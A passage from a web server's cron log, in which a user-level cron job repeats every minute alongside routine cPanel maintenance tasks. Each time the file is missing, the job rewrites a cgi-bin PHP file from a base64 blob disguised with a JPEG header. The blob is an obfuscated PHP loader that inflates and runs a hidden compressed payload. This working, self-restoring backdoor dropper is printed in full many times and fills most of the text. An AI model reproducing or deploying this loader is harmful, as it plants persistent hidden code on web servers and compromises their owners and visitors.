"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:29:01 server CROND[20675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:30:02 server CROND[20758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:30:02 server CROND[20759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 22:30:02 server CROND[20760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:30:02 server CROND[20761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:31:01 server CROND[20881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:32:01 server CROND[20943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:33:01 server CROND[21107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:34:01 server CROND[21183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:35:01 server CROND[21258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:35:01 server CROND[21260]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 22:35:01 server CROND[21263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 22:35:01 server CROND[21261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:35:01 server CROND[21262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:36:01 server CROND[21397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:37:01 server CROND[21456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:38:01 server CROND[21611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:39:01 server CROND[21680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:39:01 server CROND[21681]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 22:40:01 server CROND[21765]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:40:01 server CROND[21766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:40:01 server CROND[21764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:40:01 server CROND[21767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 22:41:01 server CROND[21882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg